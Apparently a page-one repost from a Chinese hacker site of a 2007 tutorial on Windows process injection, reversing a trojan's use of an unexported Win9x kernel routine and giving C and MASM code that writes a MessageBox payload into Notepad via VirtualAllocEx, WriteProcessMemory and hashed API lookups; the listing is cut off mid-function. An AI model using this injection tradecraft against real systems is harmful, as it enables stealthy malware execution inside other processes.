| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
免费服务 我要发布 在线破解 黑客游戏 精华收集 免费空间 网络硬盘 独家报道 黑器点播 免费 FTP 交换资源
收费服务 黑客培训 光盘刻录 黑客书籍 视频下载 主力频道 空间域名 网站建设 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
将注入进行到底           ★★★ 【字体:
挖掘操作系统内部未导出函数,将注入进行到底
作者:Anskya 文章来源:看雪论坛 点击数: 更新时间:2007-12-30

现在注入方式很多,不过无外复三种:
1.使用映射代码然后创建远程线程
2.利用消息钩子插入DLL两种
3.使用调试API.GetThreadContext,SetThreadContext来改变线程的环境启动代码

4.不过基本上Win9x下差不多都是使用消息钩子挂钩模式

    当然EliCZ叔叔发布的~EliRT可以让我们在Win9x下也可以使用CreateRemoteThread注入函数...这里偶简单的说一下另外一种注入方式利用系统内部函数进行创建远程线程.

    这里我就不多说一大堆理论了~相关文献请参见EliCZ叔叔的文章... 当然这里使用的注入方式~他的文章中并没有提及...

1.原理
[1]定位目标
既然是夸进程的创建进程,首先我们怀疑的就是调试API 他们是如何作到调试远程进程的,比如DebugActiveProcess, 他是如何挂起目标进程的...所以对目标进程进行逆向分析.. (关于次问题请到...exetools里面查看相关文章吧...里面有讨论过)

(一下代码是反汇编DebugActiveProcess函数的...这里贴的是关键部分分析)
其实就在DebugActiveProcess下面几行的位置处...自己分析一下就知道了

代码:--------------------------------------------------------------------------------
; IDA output:
;.text:BFF9490D                 push    8                   ; const
;.text:BFF9490F                 push    edi
;.text:BFF94910                 push    offset sub_BFF9494D ; thread
;.text:BFF94915                 push    0FFFFF000h          ; tells kernel to allocate stack
;.text:BFF9491A                 push    edi                 ; pdb
;.text:BFF9491B                 call    CreateRemoteThread9x; arbitrary name
;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000
特征码:0E857FFFFh(看不懂吗?自己反一下这个函数就知道了...16进制码...请问IDA这里怎么用???为显示不出...)
--------------------------------------------------------------------------------


至少跟踪发现这个函数不是WIndows导出的函数所以我们不能直接调用这个函数
(至少无法通过GetProcAddress函数搜索出地址来...但是我们完全可以定位函数地址和传入参数...分析代码看下面的文章)

2.定位
知道原理了..开始逆向分析...这里分析的目标是国外的一款非常恐怖的"Trojan"程序
Spirit(反向连接+远程注入代码,上传DLL或者EXE并运行之...体积:1.55k,
还有注册表添加,自删除等功能...支持Win9x下进程插入--一开始就对他很好奇^_^)

关键函数逆向分析部分:OD反出来的...

代码:--------------------------------------------------------------------------------
00400158    68 40000000     push    40
0040015D    68 00300008     push    8003000
00400162    68 D5050000     push    5D5
00400167    57              push    edi
00400168    FF15 42144000   call    [401442]                         ; kernel32.VirtualAlloc
0040016E    68 08000000     push    8
00400173    57              push    edi
00400174    50              push    eax
00400175    57              push    edi
00400176    68 D1040000     push    4D1
0040017B    8D15 0E114000   lea     edx, [40110E]  ;这个地址是需要插入的代码内存地址
00400181    52              push    edx
00400182    50              push    eax
00400183    56              push    esi
00400184    FF15 32144000   call    [401432]                         ; kernel32.WriteProcessMemory
0040018A    FF15 3E144000   call    [40143E]                         ; kernel32.GetCurrentProcessId
00400190    64:3305 3000000>xor     eax, fs:[30]
00400197    31C3            xor     ebx, eax
00400199    8B35 3A144000   mov     esi, [40143A]                    ;kernel32.DebugActiveProcess
0040019F    46              inc     esi
004001A0    813E FFFF57E8   cmp     dword ptr [esi], E857FFFF  ;比较是否是CreateRemoteThread9x内存特征
004001A6  ^ 75 F7           jnz     short 0040019F    ;不等继续跳转
004001A8    AD              lods    dword ptr [esi]    ;搜索到以后开始获取地址(扫描两次)
004001A9    AD              lods    dword ptr [esi]
004001AA    01F0            add     eax, esi      
004001AC    68 00F0FFFF     push    -1000
004001B1    53              push    ebx
004001B2    FFD0            call    eax
004001B4    57              push    edi
004001B5    50              push    eax
004001B6    8B35 2A144000   mov     esi, [40142A]                    ; kernel32.OpenProcess
004001BC    46              inc     esi
004001BD    813E 50FF32E8   cmp     dword ptr [esi], E832FF50
004001C3  ^ 75 F7           jnz     short 004001BC
004001C5    AD              lods    dword ptr [esi]
004001C6    AD              lods    dword ptr [esi]
004001C7    01F0            add     eax, esi
004001C9    53              push    ebx
004001CA    FFD0            call    eax        ;调用此函数
004001CC    61              popad
004001CD    C3              retn
--------------------------------------------------------------------------------


3.实现
不用说了吧~上面的代码逆向写一下就OK了...
既然注入代码我们就作全套...

[1]申请远程进程空间(C代码实现)
WinNT下我就不多说了~反正大家都知道的
关键说说Win9x
逆向分析一下中国黑客病毒
(CreateKernelThread创建线程...和
MoveDataToKnl函数(WHG自己写的具体看ChineseHacker代码))

不过他好像不能让我们将代码注入到别的进程内部...
好了Google搜了一下文章...发现Win9x内核下0x8000000以上空间都是透明的?
Why?你最好别问我,我也不知道..我很菜...

所以以上反汇编出来的代码是

代码:--------------------------------------------------------------------------------
00400158    68 40000000     push    40
0040015D    68 00300008     push    8003000
00400162    68 D5050000     push    5D5
00400167    57              push    edi
00400168    FF15 42144000   call    [401442]                         ; kernel32.VirtualAlloc
--------------------------------------------------------------------------------


啊~好了...写一下具体代码好了

代码:--------------------------------------------------------------------------------
LPVOID My_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD 
flProtect) 
{
  if (GetVersion() > 0x80000000)
  {
    return VirtualAlloc(lpAddress, dwSize, 0x8000000 + MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  }else
  {
    return VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
  }
}
BOOL My_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType) 
{
  if (GetVersion() > 0x80000000)
  {
    return VirtualFree(lpAddress, dwSize, MEM_RELEASE);
  }else
  {
    return VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType);
  }
}
--------------------------------------------------------------------------------


需要注意的是~在Win9x下申请空间和释放空间以前需要~~OpenProcess
一下....在Win9x下申请空间还有一种方法:SharedMemoryAlloc函数
直接的Windows头部里面好像没有...大家可以从ComCtl32.dll里面导出...
这个函数使用非常简单..就一个参数.申请空间长度...

创建远程线程代码在附件内....(把上面的OD反汇编代码写一遍就OK了~有必要吗???)

具体示例代码看:附件~注入代码到记事本....支持Win9x下注入




终于可以上传了~


代码:--------------------------------------------------------------------------------
;======================================================
;远程线程注入对话框演示 Ex By Anskya
;支持Win9x下代码注入..
;Email:Anskya@Gmail.com
;======================================================
.586
.model flat
locals @@
include \D.N.ASM\include\useful.inc
include \D.N.ASM\include\MZ.INC
include \D.N.ASM\include\PE.INC
.data
  notepad db ’Notepad’,0
injected:
    ;int 3
    pushad
    
    call @@delta
@@delta:
    pop ebp
    sub ebp,offset @@delta
    
    push 0
    lea eax,[ebp+offset cap]
    push eax
    lea eax,[ebp+offset msg]
    push eax
    push 0
    call [ebp+__MessageBoxA]
@@Exit:
    push 0
    call [ebp+__ExitThread]
    ;_invoke [ebp+__ExitThread],0
    popad
    ret
;------------------使用数据----------------------------------
  
  msg  db  "[*] Hello World Coder! (C) Anskya.",0dh,0ah,0
  cap  db  "MsgBox By Anskya",0
  
    k32_api:
        db  ’kernel32’,0
          __ExitThread        dd  0058F9201h
          __WinExec          dd  028452C4Fh
          __OpenProcess        dd  033D350C4h
          __WriteProcessMemory    dd  00E9BBAD5h
        dd 0
  
    u32_api:
        db  ’user32’,0
          __MessageBoxA          dd  0D8556CF7h
          __FindWindowA        dd  085AB3323h
          __GetWindowThreadProcessId  dd  07B46AF5Eh
        dd 0
    
injected_size equ $-injected
.code
public c entry
entry:
;-------获取相关API函数
    lea eax,k32_api
    push eax
    call get_apicrc
    lea eax,u32_api
    push eax
    call get_apicrc
;-------获取完毕-------执行主函数部分
    ;call injected
    
    push 5
    push offset notepad
    call __WinExec
      
    push 0
    push offset notepad
    call __FindWindowA    ;获取窗口句柄
    
    push eax
    push esp
    push eax
    call __GetWindowThreadProcessId
    pop eax
    mov ebx,eax
    push eax
    push 0
    push 1f0fffh                    ;PROCESS_ALL_ACCESS
    call __OpenProcess
    mov ebp,eax
    
    push 40h                        ;PAGE_EXECUTE_READWRITE
    push 3000h                  ;MEM_COMMIT or MEM_RESERVE
    push injected_size
    push 0
    push ebp                        ;pid
    call RT32_VirtualAllocEx
    mov edi,eax
    push eax
    push esp
    push injected_size
    lea eax,injected
    push eax
    push edi
    push ebp
    call __WriteProcessMemory
    pop eax
    push eax
    push esp
    push 0
    push esi
    push edi
    push 0
    push 0
    push ebx
    call RT32_CreateRemoteThread
    pop ecx
    
ExitProc:
    push 0
    callw ExitProcess
    ret
;-------使用函数地址
RT32_VirtualAllocEx:
    pushad
    mov ebx,[esp+8*4+4]
    mov ebp,[esp+8*4+8]
    mov edx,[esp+8*4+12]
    mov esi,[esp+8*4+16]
    mov edi,[esp+8*4+20]
    call get_k32base
    mov ecx,cs
    xor cl,cl
    jecxz @@os_nt
@@os_9x:
    push edi
    or esi,8000000h
    push esi
    push edx
    push ebp
    push 04402890Eh                ;VirtualAlloc
    push eax
    call get_addr32crc
    call eax
    jmp @@finished
@@os_nt:
    push 0DA89FC22h                ;VirtualAllocEx
    push eax
    call get_addr32crc
    push edi
    push esi
    push edx
    push ebp
    push ebx
    call eax
@@finished:
    mov [esp+pushad_eax],eax
    popad
    ret 4*5
    
RT32_CreateRemoteThread:
    pushad
    mov ebp,[esp+8*4+4]
    call get_k32base
    mov esi,eax
    push ebp
    push 0
    push 1f0fffh                   ;PROCESS_ALL_ACCESS
    push 033D350C4h                ;OpenProcess
    push esi
    call get_addr32crc
    call eax
    mov ebx,eax
    
    push 0CF4A7F65h                ;CreateRemoteThread
    push esi
    call get_addr32crc
    mov ecx,cs
    xor cl,cl
    jecxz @@os_nt
@@os_9x:
    call get_obfs
    xor ebp,eax

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    批处理也玩注入
    Cookie注入怎样产生的
    再战嘉缘人才系统
    第三次注入黑客联盟
    手工添加后门中系统服务
    九行代码让系统崩溃!
    php注入十点基本步骤
    IDS入侵检测系统术语
    手工添加后门中系统服务
    见过最好的sql注入工具
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号